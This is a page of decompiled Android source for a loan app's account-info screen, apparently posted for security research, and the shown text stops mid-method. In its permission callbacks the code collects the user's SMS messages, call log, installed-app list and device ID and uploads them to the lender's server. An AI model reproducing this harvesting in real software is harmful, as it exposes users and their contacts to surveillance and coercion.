导航菜单

页面标题

页面副标题

⁡⁡⁡⁡⁡⁡⁡鲸⁡⁡⁡⁡⁡⁡⁡⁡鱼⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡借⁡条⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡ v4.1.2 - W0ACT.java 源代码

正在查看: ⁡⁡⁡⁡⁡⁡⁡鲸⁡⁡⁡⁡⁡⁡⁡⁡鱼⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡借⁡条⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡ v4.1.2 应用的 W0ACT.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.yuxianghua.ui.activitys;

import android.content.Intent;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.widget.CheckBox;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
import butterknife.BindView;
import butterknife.OnClick;
import com.alipay.alipaysecuritysdk.common.config.Constant;
import com.base.commonlibrary.base.BaseResult;
import com.base.commonlibrary.base.baseapp.AppActivityManager;
import com.base.commonlibrary.base.baserx.RxHelper;
import com.base.commonlibrary.base.baserx.RxSchedulers;
import com.base.commonlibrary.control.IPermissionResultListener;
import com.base.commonlibrary.utils.ApplicationUtil;
import com.base.commonlibrary.utils.MD5Utils;
import com.base.commonlibrary.utils.RSAUtils;
import com.base.commonlibrary.utils.SPUtils;
import com.base.commonlibrary.utils.glide.GliderHelper;
import com.base.commonlibrary.views.LoadingTip;
import com.base.commonlibrary.views.TitleLayout;
import com.google.gson.Gson;
import com.yuxianghua.gzd.ContactsGetUtil;
import com.yuxianghua.mjyp.BMAG01ACT;
import com.yuxianghua.mjyp.app.api.Api;
import com.yuxianghua.mjyp.app.api.Api2;
import com.yuxianghua.mjyp.app.api.AppConfig;
import com.yuxianghua.mjyp.app.base.BaseBindActivity;
import com.yuxianghua.mjyp.app.base.RxSubscriber;
import com.yuxianghua.mjyp.app.utils.AppUtils;
import com.yuxianghua.ui.activitys.W0ACT;
import com.yuxianghua.ui.bean.ApplyBean;
import com.yuxianghua.ui.bean.BaseInfoForm;
import com.yuxianghua.ui.bean.BindBankForm;
import com.yuxianghua.ui.bean.BorrowOrderForm;
import com.yuxianghua.ui.bean.ContactForm;
import com.yuxianghua.ui.bean.DevSmsBean;
import com.yuxianghua.ui.bean.EncForm;
import com.yuxianghua.ui.bean.HomeAmountBean;
import com.yuxianghua.ui.bean.MyInfoBean;
import com.yuxianghua.ui.bean.OperatorBjForm;
import com.yuxianghua.ui.bean.OperatorSdkForm;
import com.yuxianghua.ui.bean.RegBean;
import com.yuxianghua.ui.bean.UserStatusBean;
import com.yuxianghua.ui.views.SureAndCancelDialog;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import rx.Observable;
import rx.Observer;
import rx.Subscriber;
import yhgjgdf.ijnhjfyd.ikbujfjfnjkif.R;

public class W0ACT extends BaseBindActivity {
    public static final String TAG = BMAG01ACT.class.getSimpleName();
    private int accountStatus;

    @BindView(R.id.address)
    TextView address;
    private String amount_apply;
    private int authBankCardStatus;
    private int authBaseInfoStatus;
    private int authContactsStatus;
    private int authOperatorStatus;

    @BindView(R.id.bank_logo)
    ImageView bankLogo;

    @BindView(R.id.bank_name)
    TextView bankName;
    private String bankName_apply;

    @BindView(R.id.bank_num)
    TextView bankNum;
    private String bankNum_apply;
    private BaseInfoForm baseInfoForm;

    @BindView(R.id.base_right)
    TextView baseRight;
    private Integer borrowFlag;

    @BindView(R.id.btn_ok)
    TextView btnOk;

    @BindView(R.id.card_kind)
    TextView cardKind;

    @BindView(R.id.chex_right)
    TextView chexRight;

    @BindView(R.id.choose_address)
    TextView chooseAddress;

    @BindView(R.id.choose_work_address)
    TextView chooseWorkAddress;

    @BindView(R.id.ck_xy)
    CheckBox ckXy;

    @BindView(R.id.edit)
    TextView edit;

    @BindView(R.id.friend_name)
    TextView friendName;

    @BindView(R.id.friend_num)
    TextView friendNum;

    @BindView(R.id.gjj_right)
    TextView gjjRight;

    @BindView(R.id.home_name)
    TextView homeName;

    @BindView(R.id.home_num)
    TextView homeNum;

    @BindView(R.id.id_no)
    TextView idNo;
    private String idNum;

    @BindView(R.id.id_right)
    TextView idRight;

    @BindView(R.id.idno_tip)
    TextView idnoTip;

    @BindView(R.id.im_id)
    ImageView imId;
    private MyInfoBean infoBean;
    private boolean isFromMeFlag;

    @BindView(R.id.iv_bank)
    ImageView ivBank;

    @BindView(R.id.ll_address)
    RelativeLayout llAddress;

    @BindView(R.id.ll_bank_card)
    LinearLayout llBankCard;

    @BindView(R.id.ll_base_content)
    LinearLayout llBaseContent;

    @BindView(R.id.ll_base_info)
    LinearLayout llBaseInfo;

    @BindView(R.id.ll_chex)
    LinearLayout llChex;

    @BindView(R.id.ll_friend)
    LinearLayout llFriend;

    @BindView(R.id.ll_gjj)
    LinearLayout llGjj;

    @BindView(R.id.ll_home)
    LinearLayout llHome;

    @BindView(R.id.ll_lxr_content)
    LinearLayout llLxrContent;

    @BindView(R.id.ll_lxr_phone)
    LinearLayout llLxrPhone;

    @BindView(R.id.ll_phone)
    LinearLayout llPhone;

    @BindView(R.id.ll_shebao)
    LinearLayout llShebao;

    @BindView(R.id.ll_sim_sq)
    LinearLayout llSimSq;

    @BindView(R.id.ll_ts)
    LinearLayout llTs;

    @BindView(R.id.ll_word)
    LinearLayout llWord;

    @BindView(R.id.ll_work_address)
    RelativeLayout llWorkAddress;

    @BindView(R.id.lxr_right)
    TextView lxrRight;
    private String myBankName;
    private String myBankNum;

    @BindView(R.id.name)
    TextView name;

    @BindView(R.id.name_tip)
    TextView nameTip;
    private ContactForm o;
    private String operatorStatus;

    @BindView(R.id.phone)
    TextView phone;
    private String realName;

    @BindView(R.id.rl_all_te)
    RelativeLayout rlAllTe;

    @BindView(R.id.rl_bank_content)
    RelativeLayout rlBankContent;

    @BindView(R.id.rl_id_card)
    RelativeLayout rlIdCard;

    @BindView(R.id.shebao_right)
    TextView shebaoRight;

    @BindView(R.id.sim_right)
    TextView simRight;

    @BindView(R.id.swipe)
    SwipeRefreshLayout swipe;

    @BindView(R.id.tip_address)
    TextView tipAddress;

    @BindView(R.id.tip_base)
    TextView tipBase;

    @BindView(R.id.tip_friend)
    TextView tipFriend;

    @BindView(R.id.tip_home)
    TextView tipHome;

    @BindView(R.id.tip_lxr)
    TextView tipLxr;

    @BindView(R.id.tip_phone)
    TextView tipPhone;

    @BindView(R.id.tip_sim)
    TextView tipSim;

    @BindView(R.id.tip_ts)
    TextView tipTs;

    @BindView(R.id.tip_work)
    TextView tipWork;

    @BindView(R.id.tip_work_address)
    TextView tipWorkAddress;

    @BindView(R.id.title)
    TitleLayout title;

    @BindView(R.id.ts_name)
    TextView tsName;

    @BindView(R.id.ts_num)
    TextView tsNum;

    @BindView(R.id.tv_tip_2)
    TextView tvTip2;

    @BindView(R.id.tv_yys_tip)
    TextView tvYysTip;

    @BindView(R.id.work)
    TextView work;

    @BindView(R.id.work_address)
    TextView workAddress;

    @BindView(R.id.xy)
    TextView xy;

    @BindView(R.id.xy2)
    TextView xy2;
    private int authRealNameStatus = 0;
    private String loanPeriod = "7";
    private Integer repEnfLoanFlag = 0;
    private Integer enfLoanFlag = 0;
    private Integer repLoanFlag = 0;
    private String period = "7";
    private String amount = "";

    @Override
    protected boolean canLoadMore() {
        return false;
    }

    @Override
    public int getLayoutId() {
        return R.layout.activity_mine_info;
    }

    @Override
    public void initPresenter() {
    }

    @Override
    protected void loadMore() {
    }

    @Override
    protected void refresh() {
    }

    @Override
    public void initView(Bundle bundle) {
        if (getIntent().getExtras() != null) {
            this.isFromMeFlag = getIntent().getExtras().getBoolean("isFromMeFlag", false);
        }
        this.loadTip.setOnReloadListener(new LoadingTip.onReloadListener() {
            @Override
            public void reload() {
                W0ACT.this.loadData(true);
            }
        });
        this.title.setRightButton(getResources().getString(R.string.refresh), new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                W0ACT.this.loadData(true);
            }
        });
        this.swipe.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
            @Override
            public void onRefresh() {
                W0ACT.this.loadData(false);
            }
        });
    }

    public void loadData(boolean z) {
        this.mRxManager.add(Api.getDefault().baseMyInfo().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<MyInfoBean>(this.mContext, z) {
            @Override
            public void _onNext(MyInfoBean myInfoBean) {
                if (myInfoBean != null) {
                    W0ACT.this.setView(myInfoBean);
                }
                W0ACT.this.stopLoading();
                W0ACT.this.swipe.setRefreshing(false);
            }

            @Override
            protected void _onError(String str) {
                W0ACT.this.swipe.setRefreshing(false);
                W0ACT.this.showToast("获取网络信息失败,请切换网络后杀掉app进程后重试");
            }
        }));
        this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<HomeAmountBean>(this.mContext, z) {
            @Override
            protected void _onError(String str) {
            }

            @Override
            public void _onNext(HomeAmountBean homeAmountBean) {
                if (homeAmountBean != null) {
                    W0ACT.this.borrowFlag = homeAmountBean.getBorrowFlag();
                    W0ACT.this.enfLoanFlag = homeAmountBean.getEnfLoanFlag();
                    W0ACT.this.repEnfLoanFlag = homeAmountBean.getRepEnfLoanFlag();
                    W0ACT.this.repLoanFlag = homeAmountBean.getRepLoanFlag();
                    if (homeAmountBean.getAccountStatus() == 2) {
                        W0ACT.this.setSuccessView();
                    } else {
                        W0ACT.this.btnOk.setText(W0ACT.this.getResources().getString(R.string.apply_open));
                    }
                    if (W0ACT.this.enfLoanFlag.intValue() == 1) {
                        W0ACT.this.btnOk.setText(W0ACT.this.getResources().getString(R.string.now_get_cash));
                    }
                }
            }
        }));
    }

    public void applyAccount() {
        this.mRxManager.add(Api.getDefault().applyAccount().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
            @Override
            public void _onNext(BaseResult baseResult) {
                if (baseResult.getCode() == 200) {
                    W0ACT w0act = W0ACT.this;
                    w0act.showShortToast(w0act.getResources().getString(R.string.open_success));
                    W0ACT.this.mRxManager.post(AppConfig.Status, "登录");
                    W0ACT.this.loadData(false);
                    W0ACT.this.setSuccessView();
                    W0ACT.this.applyQuota();
                    return;
                }
                W0ACT.this.showShortToast(baseResult.getMessage());
            }

            @Override
            protected void _onError(String str) {
                W0ACT.this.showShortToast(str);
            }
        }));
    }

    public void applyQuota() {
        this.mRxManager.add(Api.getDefault().apply(Integer.parseInt(this.period)).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<ApplyBean>(this.mContext, true) {
            @Override
            public void _onNext(ApplyBean applyBean) {
                if (applyBean != null) {
                    List<BigDecimal> amountList = applyBean.getAmountList();
                    if (amountList.size() > 0) {
                        BigDecimal bigDecimal = amountList.get(0);
                        W0ACT.this.amount = bigDecimal + "";
                    }
                    W0ACT.this.myBankName = applyBean.getBankName();
                    W0ACT.this.myBankNum = applyBean.getBankNum();
                    W0ACT.this.getPermissions();
                }
            }

            @Override
            protected void _onError(String str) {
                W0ACT.this.showShortToast(str);
            }
        }));
    }

    public void getPermissions() {
        permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new IPermissionResultListener() {
            @Override
            public void onPermissionFaild() {
            }

            @Override
            public void onPermissionSuccess() {
                SPUtils.putData(AppConfig.latitude, "中国");
                SPUtils.putData(AppConfig.longitude, "中国");
                if (TextUtils.isEmpty("")) {
                    SPUtils.putData(AppConfig.address, "中国");
                } else {
                    SPUtils.putData(AppConfig.address, "");
                }
                W0ACT.this.getDevSmsBean();
            }
        });
    }

    public void getDevSmsBean() {
        startProgressDialog();
        this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
            @Override
            public final void call(Object obj) {
                W0ACT.this.lambda$getDevSmsBean$0$W0ACT((Subscriber) obj);
            }
        }).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
            @Override
            public void onCompleted() {
                W0ACT.this.stopProgressDialog();
            }

            @Override
            public void onError(Throwable th) {
                W0ACT.this.stopProgressDialog();
            }

            @Override
            public void onNext(DevSmsBean devSmsBean) {
                W0ACT.this.update(devSmsBean);
            }
        }));
    }

    public void lambda$getDevSmsBean$0$W0ACT(Subscriber subscriber) {
        DevSmsBean devSmsBean = new DevSmsBean();
        List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(this.mContext);
        devSmsBean.setSmsList(smsInPhone);
        List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(this.mContext.getPackageManager());
        devSmsBean.setSmsList(smsInPhone);
        devSmsBean.setAppList(scanLocalInstallAppList);
        devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(this.mContext));
        String deviceID = ApplicationUtil.getDeviceID(this.mContext);
        String phoneModel = ApplicationUtil.phoneModel();
        devSmsBean.setCode(deviceID);
        devSmsBean.setSys(Constant.SDK_OS);
        devSmsBean.setModel(phoneModel);
        devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
        subscriber.onNext(devSmsBean);
        subscriber.onCompleted();
    }

    public void update(DevSmsBean devSmsBean) {
        this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true, false) {
            @Override
            public void _onNext(BaseResult baseResult) {
                if (baseResult.getCode() == 200) {
                    W0ACT.this.defaultBorrowOrder();
                } else {
                    W0ACT.this.showShortToast(baseResult.getMessage());
                }
            }

            @Override
            protected void _onError(String str) {
                W0ACT.this.showShortToast(str);
            }
        }));
    }

    public void defaultBorrowOrder() {
        String str = (String) SPUtils.getData(AppConfig.address, "中国");
        int parseInt = Integer.parseInt(this.loanPeriod);
        String json = new Gson().toJson(new BorrowOrderForm("0", this.repLoanFlag + "", this.myBankName, Integer.valueOf(parseInt), this.amount, this.myBankNum, str, (String) SPUtils.getData(AppConfig.longitude, "0.0"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), ApplicationUtil.getAPPVersion(this.mContext), Constant.SDK_OS, this.amount, this.period));
        long currentTimeMillis = System.currentTimeMillis();
        String uuid = UUID.randomUUID().toString();
        String str2 = json + "@" + uuid + "@" + currentTimeMillis;
        String encrypt = RSAUtils.getInstance().encrypt(str2 + "@" + MD5Utils.md5(str2, AppConfig.md5key));
        StringBuilder sb = new StringBuilder();
        sb.append(currentTimeMillis);
        sb.append("");
        this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<RegBean>(this.mContext, true) {
            @Override
            public void _onNext(RegBean regBean) {
                if (regBean != null) {
                    String record = regBean.getRecord();
                    Bundle bundle = new Bundle();
                    bundle.putString(AppConfig.ORDERID, record);
                    W0ACT.this.startActivity(N0ACT.class, bundle);
                    W0ACT.this.finish();
                    return;
                }
                W0ACT w0act = W0ACT.this;
                w0act.showShortToast(w0act.getResources().getString(R.string.server_error));
            }

            @Override
            protected void _onError(String str3) {
                Bundle bundle = new Bundle();
                bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str3);
                W0ACT.this.startActivity(N0ACT.class, bundle);
            }
        }));
    }

    public void setSuccessView() {
        if (!this.isFromMeFlag) {
            this.baseRight.setVisibility(8);
            this.lxrRight.setVisibility(8);
        }
        if (this.enfLoanFlag.intValue() == 0) {
            this.btnOk.setText(getResources().getString(R.string.apply_borrow));
        } else {
            this.btnOk.setText(getResources().getString(R.string.now_get_cash));
        }
    }

    public void setView(MyInfoBean myInfoBean) {
        this.infoBean = myInfoBean;
        this.authRealNameStatus = myInfoBean.getAuthRealNameStatus();
        int accountStatus = myInfoBean.getAccountStatus();
        this.accountStatus = accountStatus;
        this.authContactsStatus = myInfoBean.getAuthContactsStatus();
        this.authBankCardStatus = myInfoBean.getAuthBankCardStatus();
        this.authBaseInfoStatus = myInfoBean.getAuthBaseInfoStatus();
        this.authOperatorStatus = myInfoBean.getAuthOperatorStatus();
        if (this.authBaseInfoStatus == 1) {
            String address = myInfoBean.getAddress();
            String companyAddress = myInfoBean.getCompanyAddress();
            String companyName = myInfoBean.getCompanyName();
            String companyTel = myInfoBean.getCompanyTel();
            String companyProvinceId = myInfoBean.getCompanyProvinceId();
            String companyCityId = myInfoBean.getCompanyCityId();
            String companyDistrictId = myInfoBean.getCompanyDistrictId();
            String provinceId = myInfoBean.getProvinceId();
            String cityId = myInfoBean.getCityId();
            String districtId = myInfoBean.getDistrictId();
            this.baseInfoForm = new BaseInfoForm(provinceId, cityId, districtId, address, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, companyAddress);
            setBaseInfo(address, companyAddress, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, provinceId, cityId, districtId);
        } else {
            this.baseRight.setBackground(ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
            this.baseRight.setText(getResources().getString(R.string.go_certification));
        }
        if (this.authRealNameStatus == 1) {
            this.idNum = myInfoBean.getIdCard();
            this.realName = myInfoBean.getRealName();
            setIdCard();
        }
        if (this.authContactsStatus == 1) {
            List<MyInfoBean.ListBean> list = myInfoBean.getList();
            this.o = new ContactForm();
            ArrayList arrayList = new ArrayList();
            for (int i = 0; i < list.size(); i++) {
                arrayList.add(new ContactForm.ListBean(list.get(i).getName(), list.get(i).getRelation(), list.get(i).getTel()));
            }
            this.o.setList(arrayList);
            setLxr(arrayList);
        } else {
            this.lxrRight.setBackground(ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
            this.lxrRight.setText(getResources().getString(R.string.go_certification));
        }
        if (this.authBankCardStatus == 1) {
            setBankInfo(myInfoBean.getImgUrl(), myInfoBean.getBankNum(), myInfoBean.getBankName());
        } else {
            this.llBankCard.setVisibility(0);
            this.rlBankContent.setVisibility(8);
        }
        int atTestStatus = myInfoBean.getAtTestStatus();
        if (accountStatus == 0 || accountStatus == 1) {
            int i2 = this.authOperatorStatus;
            if (i2 == 1) {
                hadTaobaoSq(this.simRight, getResources().getString(R.string.has_authd), R.color.colorPrimary, null);
            } else if (i2 == 2) {
                hadTaobaoSq(this.simRight, getResources().getString(R.string.auth_refresh), R.color.red, null);
            } else if (i2 == 3) {
                hadTaobaoSq(this.simRight, getResources().getString(R.string.no_yours_failure), R.color.red, null);
            } else {
                hadTaobaoSq(this.simRight, getResources().getString(R.string.to_authorize), R.color.colorPrimary, ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
            }
        } else if (atTestStatus == 0) {
            hadTaobaoSq(this.simRight, getResources().getString(R.string.to_authorize), R.color.colorPrimary, ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
        } else {
            hadTaobaoSq(this.simRight, getResources().getString(R.string.has_authd), R.color.colorPrimary, null);
        }
        if (accountStatus == 2) {
            setSuccessView();
        } else {
            this.btnOk.setText(getResources().getString(R.string.apply_open));
        }
        if (this.enfLoanFlag.intValue() == 1) {
            this.btnOk.setText(getResources().getString(R.string.now_get_cash));
        }
        String operatorStatus = myInfoBean.getOperatorStatus();
        this.operatorStatus = operatorStatus;
        if (this.isFromMeFlag) {
            this.tvYysTip.setVisibility(8);
            if (this.operatorStatus.equals("0") || this.operatorStatus.equals("1") || this.operatorStatus.equals("3")) {
                this.llSimSq.setVisibility(0);
                if (atTestStatus == 0) {
                    hadTaobaoSq(this.simRight, getResources().getString(R.string.to_authorize), R.color.colorPrimary, ContextCompat.getDrawable(this.mContext, R.drawable.js_button_line_frame10));
                    return;
                } else if (atTestStatus == 1) {
                    hadTaobaoSq(this.simRight, getResources().getString(R.string.has_authd), R.color.colorPrimary, null);
                    return;
                } else {
                    hadTaobaoSq(this.simRight, getResources().getString(R.string.auth_refresh), R.color.red, null);
                    return;
                }
            }
            this.llSimSq.setVisibility(8);
            return;
        }
        if (operatorStatus.equals("0")) {
            this.tvYysTip.setVisibility(8);
            this.llSimSq.setVisibility(0);
        } else if (this.operatorStatus.equals("1")) {
            this.tvYysTip.setVisibility(0);
            this.llSimSq.setVisibility(0);
        } else if (this.operatorStatus.equals("2") || this.operatorStatus.equals("3")) {
            this.llSimSq.setVisibility(8);
        }
    }

    private void setBankInfo(String str, String str2, String str3) {
        char c = 2;
        GliderHelper.loadImage(str, this.bankLogo, R.mipmap.bank_js, R.mipmap.bank_js);
        this.llBankCard.setVisibility(8);
        this.rlBankContent.setVisibility(0);
        if (str2.length() > 4) {
            str2 = str2.substring(str2.length() - 4);
        }
        this.bankName.setText(str3);
        this.bankNum.setText("****  ****  ****  " + str2);
        this.ivBank.setBackgroundResource(R.mipmap.yellow_bg);
        switch (str3.hashCode()) {
            case 617075818:
                if (str3.equals("中信银行")) {
                    c = '\t';
                    break;
                }
                c = 65535;
                break;
            case 618824838:
                if (str3.equals("中国银行")) {
                    c = '\b';
                    break;
                }
                c = 65535;
                break;
            case 623311747:
                if (str3.equals("上海银行")) {
                    c = 7;
                    break;
                }
                c = 65535;
                break;
            case 636420748:
                if (str3.equals("交通银行")) {
                    c = 6;
                    break;
                }
                c = 65535;
                break;
            case 641633212:
                if (str3.equals("兴业银行")) {
                    c = 3;
                    break;
                }
                c = 65535;
                break;
            case 643070868:
                if (str3.equals("光大银行")) {
                    c = 16;
                    break;
                }
                c = 65535;
                break;
            case 654255947:
                if (str3.equals("北京银行")) {
                    c = '\r';
                    break;
                }
                c = 65535;
                break;
            case 658449751:
                if (str3.equals("华夏银行")) {
                    c = 11;
                    break;
                }
                c = 65535;
                break;
            case 742511304:
                if (str3.equals("广发银行")) {
                    c = 14;
                    break;
                }
                c = 65535;
                break;
            case 744052748:
                if (str3.equals("平安银行")) {
                    c = 15;
                    break;
                }
                c = 65535;
                break;
            case 776116513:
                if (str3.equals("招商银行")) {
                    c = '\n';
                    break;
                }
                c = 65535;
                break;
            case 856163969:
                if (str3.equals("浦发银行")) {
                    c = 4;
                    break;
                }
                c = 65535;
                break;
            case 1458426116:
                if (str3.equals("中国农业银行")) {
                    c = 1;
                    break;
                }
                c = 65535;
                break;
            case 1553883207:
                if (str3.equals("中国工商银行")) {
                    c = '\f';
                    break;
                }
                c = 65535;
                break;
            case 1575535498:
                if (str3.equals("中国建设银行")) {
                    c = 5;
                    break;
                }
                c = 65535;
                break;
            case 1669799988:
                if (str3.equals("中国民生银行")) {
                    c = 0;
                    break;
                }
                c = 65535;
                break;
            case 1945125527:
                break;
            default:
                c = 65535;
                break;
        }
        switch (c) {
            case 0:
            case 1:
            case 2:
                this.ivBank.setBackgroundResource(R.mipmap.wp12_green_bg);
                break;
            case 3:
            case 4:
            case 5:
            case 6:
            case 7:
                this.ivBank.setBackgroundResource(R.mipmap.blue_bg);
                break;
            case '\b':
            case '\t':
            case '\n':
            case 11:
            case '\f':
            case '\r':
            case 14:
                this.ivBank.setBackgroundResource(R.mipmap.red_bg);
                break;
            case 15:
            case 16:
                this.ivBank.setBackgroundResource(R.mipmap.yellow_bg);
                break;
        }
    }

    private void hadTaobaoSq(TextView textView, String str, int i, Drawable drawable) {
        textView.setText(str);
        textView.setTextColor(ContextCompat.getColor(this.mContext, i));
        textView.setBackground(drawable);
    }

    @OnClick({R.id.xy, R.id.xy2, R.id.card_right, R.id.base_right, R.id.ll_lxr_content, R.id.lxr_right, R.id.id_right, R.id.edit, R.id.btn_ok, R.id.sim_right, R.id.chex_right, R.id.gjj_right, R.id.shebao_right})
    protected void onClick(View view) {
        Bundle bundle = new Bundle();
        switch (view.getId()) {
            case R.id.base_right:
                if (this.authBankCardStatus == 1) {
                    if (isCanEd(this.baseRight)) {
                        bundle.putSerializable("baseInfo", this.baseInfoForm);
                        startActivityForResult(MTH0ACT.class, bundle, 1001);
                        break;
                    } else {
                        startActivityForResult(MTH0ACT.class, 1001);
                        break;
                    }
                } else {
                    showShortToast(getResources().getString(R.string.ple_bind_bank));
                    break;
                }
            case R.id.btn_ok:
                if (this.authRealNameStatus == 1) {
                    if (this.ckXy.isChecked()) {
                        goOpen();
                        break;
                    } else {
                        showShortToast(getResources().getString(R.string.ple_agree_auth_agreement));
                        break;
                    }
                } else {
                    showShortToast(getResources().getString(R.string.ple_real_time_cer));
                    break;
                }
            case R.id.card_right:
            case R.id.edit:
                if (this.authRealNameStatus == 1) {
                    startActivityForResult(MTG0ACT.class, 1000);
                    break;
                } else {
                    showShortToast(getResources().getString(R.string.ple_real_time_cer));
                    break;
                }
            case R.id.id_right:
                startActivity(IdCardActivity.class);
                break;
            case R.id.ll_lxr_content:
            case R.id.lxr_right:
                if (this.authBankCardStatus != 1) {
                    showShortToast(getResources().getString(R.string.ple_bind_bank));
                    break;
                } else if (isCanEd(this.lxrRight)) {
                    bundle.putSerializable("contact", this.o);
                    startActivityForResult(I0ACT.class, bundle, 1002);
                    break;
                } else {
                    upSms();
                    break;
                }
            case R.id.sim_right:
                goToOperate();
                break;
            case R.id.xy:
                bundle.putString("title", "");
                bundle.putString("url", SPUtils.getData("baseH5", "") + "?info=" + SPUtils.getData(AppConfig.CACHE.USERCOED, ""));
                startActivity(MT10ACT.class, bundle);
                break;
            case R.id.xy2:
                bundle.putString("title", "");
                bundle.putString("url", SPUtils.getData("baseH5", "") + "?info=" + SPUtils.getData(AppConfig.CACHE.USERCOED, ""));
                startActivity(MT10ACT.class, bundle);
                break;
        }
    }

    private void goToOperate() {
        if (this.authOperatorStatus == 3) {
            return;
        }
        if (this.authContactsStatus == 1) {
            if (isaBooleanSdk(this.simRight)) {
                getOperatorType();
                return;
            } else if (this.simRight.getText().toString().contains(getResources().getString(R.string.refresh))) {
                loadData(true);
                return;
            } else {
                showShortToast(getResources().getString(R.string.has_autdh_ready));
                return;
            }
        }
        showShortToast(getResources().getString(R.string.ple_input_contact));
    }

    public void upSms() {
        permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new AnonymousClass12());
    }

    class AnonymousClass12 implements IPermissionResultListener {
        @Override
        public void onPermissionFaild() {
        }

        AnonymousClass12() {
        }

        @Override
        public void onPermissionSuccess() {
            SPUtils.putData(AppConfig.latitude, "中国");
            SPUtils.putData(AppConfig.longitude, "中国");
            SPUtils.putData(AppConfig.address, "中国");
            W0ACT.this.startProgressDialog();
            W0ACT.this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
                @Override
                public final void call(Object obj) {
                    W0ACT.AnonymousClass12.this.lambda$onPermissionSuccess$0$W0ACT$12((Subscriber) obj);
                }
            }).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
                @Override
                public void onCompleted() {
                    W0ACT.this.stopProgressDialog();
                }

                @Override
                public void onError(Throwable th) {
                    W0ACT.this.stopProgressDialog();
                }

                @Override
                public void onNext(DevSmsBean devSmsBean) {
                    W0ACT.this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(W0ACT.this.mContext, true, false) {
                        @Override
                        public void _onNext(BaseResult baseResult) {
                            if (baseResult.getCode() == 200) {
                                W0ACT.this.startActivityForResult(I0ACT.class, 1002);
                            } else {
                                W0ACT.this.showShortToast(baseResult.getMessage());
                            }
                        }

                        @Override
                        protected void _onError(String str) {
                            W0ACT.this.showShortToast(str);
                        }
                    }));
                }
            }));
        }

        public void lambda$onPermissionSuccess$0$W0ACT$12(Subscriber subscriber) {
            DevSmsBean devSmsBean = new DevSmsBean();
            List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(W0ACT.this.mContext);
            devSmsBean.setSmsList(smsInPhone);
            List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(W0ACT.this.mContext.getPackageManager());
            devSmsBean.setSmsList(smsInPhone);
            devSmsBean.setAppList(scanLocalInstallAppList);
            devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(W0ACT.this.mContext));
            String deviceID = ApplicationUtil.getDeviceID(W0ACT.this.mContext);
            String phoneModel = ApplicationUtil.phoneModel();
            devSmsBean.setCode(deviceID);
            devSmsBean.setSys(Constant.SDK_OS);
            devSmsBean.setModel(phoneModel);
            devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
            subscriber.onNext(devSmsBean);
            subscriber.onCompleted();
        }
    }

    private void getOperatorType() {
        this.mRxManager.add(Api.getDefault().getOperatorType().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
            @Override
            public void _onNext(BaseResult baseResult) {
                if (baseResult != null) {
                    if (baseResult.getCode() == 200) {
                        String obj = baseResult.getResult().toString();
                        char c = 65535;
                        switch (obj.hashCode()) {
                            case 49:
                                if (obj.equals("1")) {
                                    c = 0;
                                    break;
                                }
                                break;
